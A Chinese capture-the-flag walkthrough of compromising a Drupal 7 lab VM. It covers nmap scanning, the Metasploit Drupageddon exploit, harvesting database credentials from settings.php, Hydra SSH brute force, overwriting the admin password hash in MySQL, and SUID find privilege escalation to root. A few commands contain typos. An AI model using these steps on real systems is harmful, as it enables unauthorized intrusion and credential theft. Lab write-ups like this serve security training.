一、扫描获取靶机ip
方法一
1.使用 ip add
查看kali ip
![1.png 1.png](https://i-blog.csdnimg.cn/blog_migrate/2612956d48bd8aa9068dc02bc0c8104d.png)
192.168.203.130
2.用nmap扫描192.168.203.0/24以获取靶机ip
nmap -sP 192.168.203.0/24
![2.png 2.png](https://i-blog.csdnimg.cn/blog_migrate/6267467f02d334d9e26c54796eae6f03.png)
得到ip
192.168.203.138
方法二
arp-scan -l
![2.png 2.png](https://i-blog.csdnimg.cn/blog_migrate/a84a83b6754febb708e00a09e186e259.png)
得到ip
192.168.203.138
二、获取网站信息
1.nmap
nmap -sV -A 192.168.203.138
![4.png 4.png](https://i-blog.csdnimg.cn/blog_migrate/dd0154feda614ce332c1e57f2750e4ba.png)
![5.png 5.png](https://i-blog.csdnimg.cn/blog_migrate/89f82660b6ca0f22aa738c8dc952edb9.png)
可以看到,开放了三个端口22、80、111
其中80端口中存在robots.txt文件
![7.png 7.png](https://i-blog.csdnimg.cn/blog_migrate/599311b52ba77f998d8327cc3160696e.png)
在UPGRADE.txt文件中可以的设置本网站使用的是Drupal7
![8.png 8.png](https://i-blog.csdnimg.cn/blog_migrate/3221cc70db0d8aff360b195c5f41770c.png)
2.Wappaloyzer
![6.png 6.png](https://i-blog.csdnimg.cn/blog_migrate/a229b17a0e23480d51d80f09d08986d0.png)
用谷歌插件wappalyzer可以看到
这个网站的环境
CMS:Drupal 7
服务器:Apache
操作系统:Debian
JS库:jQuery 1.4.4
编译语言:PHP 5.4.45
三、getshell
1.flag1
使用msfconsole扫描网站目录
root@kali:~# msfconsole
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.203.138 # 设置远程主机地址
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 20 # 设置并发线程数量
msf5 auxiliary(scanner/http/dir_scanner) > show options #查看选项
msf5 auxiliary(scanner/http/dir_scanner) > run # 开始扫描
![9.png 9.png](https://i-blog.csdnimg.cn/blog_migrate/0bae6f955d4549dd1549d7a488215b9c.png)
使用msf搜索Drupal框架的漏洞
search drupal
![10.png 10.png](https://i-blog.csdnimg.cn/blog_migrate/49dc39e6b0e2fd268a9d855ea24a0068.png)
可以查看到提供了8个可以使用的工具
我们可以依次尝试
use Name(工具的名字)
set RHOSTS 192.168.203.138
run
经过尝试后发现exploit/multi/http/drupal_drupageddon可以用
use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.203.138
run
![11.png 11.png](https://i-blog.csdnimg.cn/blog_migrate/497217fc3a6d98fc3a576f063815cc27.png)
成功getshell后,ls查看文件,发现flag1.txt,cat flag1.txt
![12.png 12.png](https://i-blog.csdnimg.cn/blog_migrate/5c96e04b313c0ac805a976e3503627de.png)
2.flag2
根据flag1的提示,我们可以查看CMS的配置文件
百度一下drupal的配置文件默认位置位于sites/default/settings.php
cd sites/default/
ls
cat settings.php
![13.png 13.png](https://i-blog.csdnimg.cn/blog_migrate/0c5644b90bc6f508ba7d6208e1d56c91.png)
![14.png 14.png](https://i-blog.csdnimg.cn/blog_migrate/42a7bd3d3231fe09925a8b273dc04a5b.png)
flag2提示字典爆破不是获取访问权限的唯一方法
![15.png 15.png](https://i-blog.csdnimg.cn/blog_migrate/e939d723dd35756df5e68d390e323605.png)
同时也告诉了我们
数据库名是 drupaldb
账号是 dbuser
密码是 R0ck3t
3.flag3
由于知道了数据库账号密码,我们尝试登录
![16.png 16.png](https://i-blog.csdnimg.cn/blog_migrate/74beefdc9fd752fa68581d88b04ab46b.png)
发现无此命令,输入shenll换壳
![17.png 17.png](https://i-blog.csdnimg.cn/blog_migrate/0ac9f6d4191b48af2be89cd09f31078e.png)
成功登录但是没有回显,我们另寻思路
linux下有两个专门存在的存放密码的路径,一个是/etc/passwd,一个是/etc/shadow
/etc/passwd是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息. /etc/shadow是在安装了影子(shadow)口令软件的系统上的影子口令文件。影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对超级用户root可读。这使破译口令更困难,以此增加系统的安全性。
由于没有root权限,先查看/etc/passwd
文件
![24.png 24.png](https://i-blog.csdnimg.cn/blog_migrate/864eaf1743e0f980657f5985367fe515.png)
发现用户flag4,密码被加密,使用hydra暴破
hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.203.138
![26.png 26.png](https://i-blog.csdnimg.cn/blog_migrate/ea72a12a2a3b5c83be1fe45de7bf3bd3.png)
得到flag4用户的密码为orange
通过ssh远程连接
ssh flag4@192.168.203.138
![27.png 27.png](https://i-blog.csdnimg.cn/blog_migrate/5e62e43dc96326ca9c0ab779c5e7e87e.png)
登录mysql
mysql -u dbuser -p
![28.png 28.png](https://i-blog.csdnimg.cn/blog_migrate/5bc92d87be03431d7a9dade4dc9371f4.png)
![29.png 29.png](https://i-blog.csdnimg.cn/blog_migrate/f4d49318e50386adb2ad71972ac3d01c.png)
由于我们想要登录,所以需要看的是账号密码
select * from users;
![30.png 30.png](https://i-blog.csdnimg.cn/blog_migrate/5b7edb3985bd1c93d5f58e2597e3ed5b.png)
可以看到admin的密码被SHA-512加密为
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
我们可以将数据库进行修改
把damin的值变成
$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
PS:这个是password的SHA-512加密运算结果
update users SET pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
![31.png 31.png](https://i-blog.csdnimg.cn/blog_migrate/703742f7b8f5b1432bbbf1b7d54d2d69.png)
然后在登录直接登录,账号:admin 密码:password
![32.png 32.png](https://i-blog.csdnimg.cn/blog_migrate/88b185c461f2bc83a97b846c085ae200.png)
在contenr发现flag3
![33.png 33.png](https://i-blog.csdnimg.cn/blog_migrate/49ad647099cbcef8bfdd6f68e3e776bc.png)
![34.png 34.png](https://i-blog.csdnimg.cn/blog_migrate/973e4b7a84f049d473c2c6b97cfef145.png)
4.flag4
根据flag3的提示,让我们查看shadow,但只有root权限才能读取、etc/shadow所以我们需要想办法获取root权限。
shell
pyrhon -c 'import pty;pty.spawn("/bin/sh")'
whoami
使用python反弹一个交互式shell
![18.png 18.png](https://i-blog.csdnimg.cn/blog_migrate/2bd0cb5c9a6834de1df9164a7e0b09be.png)
进行suid提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
查询find是否可以使用
find / -type f -perm -u=s 2>/dev/null
![19.png 19.png](https://i-blog.csdnimg.cn/blog_migrate/d7b7af265524926fd36b096a665d6c81.png)
发现可以使用find,利用find进行提权
find / -type f -name getflag -exec "/bin/sh" \;
![20.png 20.png](https://i-blog.csdnimg.cn/blog_migrate/440d02c807776ffabfe46141d0dd9b2f.png)
查找名为flag的文件
find / -name flag*
![21.png 21.png](https://i-blog.csdnimg.cn/blog_migrate/b1b499affb5ca50352ebb6d06cc4f84a.png)
发现flag4.text
![22.png 22.png](https://i-blog.csdnimg.cn/blog_migrate/9c353ce3fe955b40f2cc139326c7f113.png)
5.flag5
根据4的提示,我们访问root文件夹,发现thefinalflag.txt
![23.png 23.png](https://i-blog.csdnimg.cn/blog_migrate/210c7d85f8fa392bfb95d861818e87bf.png)